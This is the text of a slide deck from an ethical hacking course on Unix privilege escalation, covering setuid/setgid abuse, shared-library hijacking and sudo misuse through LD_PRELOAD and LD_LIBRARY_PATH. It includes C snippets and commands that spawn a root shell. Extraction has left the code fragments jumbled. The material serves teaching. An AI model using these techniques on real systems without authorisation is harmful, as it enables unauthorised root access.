Ethical Hacking Lab 1715342604
Ethical Hacking Lab 1715342604
Created: 2024-03-05
Last modified: 2024-04-01
This slide deck is released under Creative Commons
Attribution-NonCommercial (CC BY-NC)
ToC
3
Lateral Movement and Privilege
Escalation
Lateral Movement and Privilege Escalation
After gaining a foothold on a system
Often, we don’t have enough privileges to proceed further on the kill chain. E.g,
● Stage 5 - Installation
○ Persistence may not be possible
● Stage 7 - Actions on Objectives
○ Access sensitive information or install ransomware (if you are a bad guy)
○ Control victim system while remaining undetected
■ clean up traces, install rootkits, …
● On modern systems, services often run according to the least privileges principle
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
redis:x:138:150::/var/lib/redis:/usr/sbin/nologin
By exploiting:
● Bugs
● Design flaws
● Configuration oversights
● Users’ mistakes
The same principles can be used to gain access to other non-privileged users
● Which may or may not grant you enough privileges to do when you want
Computer program tricked by another agent, with fewer privileges, into misusing its authority
Example we have seen or talked about:
● XSS - trick victim’s browser into executing arbitrary Javascript
● FTP bounce scan (nmap) - trick 3rd party FTP server
Other examples:
● CSRF - forces user to execute unwanted actions on a web application in which they’re currently
authenticated
● Abuse sudo/setuid applications to do unintended things (more on this soon)
Source: Wikipedia
ETH Lab 0x05 - Hacking Unix p1 - Davide Guerri 12
Exploiting SetUID/SetGID
Quick recap on UNIX permissions: SetUID/SetGID
date ;)
2
Exploiting SetUID/SetGID
Load shared objects that we can control
strace (runtime) can be used to identify loaded shared objects and failures
● ldd can be used to analyse the binary statically
^ calc.c
So we “learn” that the program uses an insecure relative path to load the share object
// Optional
int function_awesome_sum(int, int) {
return -1;
Note the use of setuid(0) instead of calling }
/bin/sh with -p
^ libcalc.c
Compile with:
gcc -shared -fPIC -o libcalc.so libcalc.c
suid-calc will now load our malicious library, which will spawn a root shell for us
In short: If we can inject code, for instance exploiting some memory corruption, we can
achieve PE:
● Injected code will run with privileged EUID and EGID
● Exploit-DB contains many examples of this, some of them also in Metasploit
○ Examples: CVE-2019-10149, CVE-2019-14267
sudo -l
Just remember EUID vs UID and EGID vs GID. Abusing sudo programs may allow PE if:
● Can (be forced to) read/write files → may leak sensitive data
● Can be forced to print errors insecurely → may leak sensitive data
● Can be forced to execute code that we control
○ execute other programs that we control
○ load shared objects that we control
○ vulnerable to some other code injection (e.g., buffer overflow)
void _init() {
unsetenv("LD_PRELOAD");
Exploiting sudo }
system("/bin/sh");
^ ldp.c
Additional exploitation strategies for sudo: LD_PRELOAD
Then run
sudo LD_PRELOAD=./ldp.so <any binary you can run with sudo>
void inject() {
system("/bin/sh" );
Additional exploitation strategies: LD_LIBRARY_PATH }
^ ldlp.c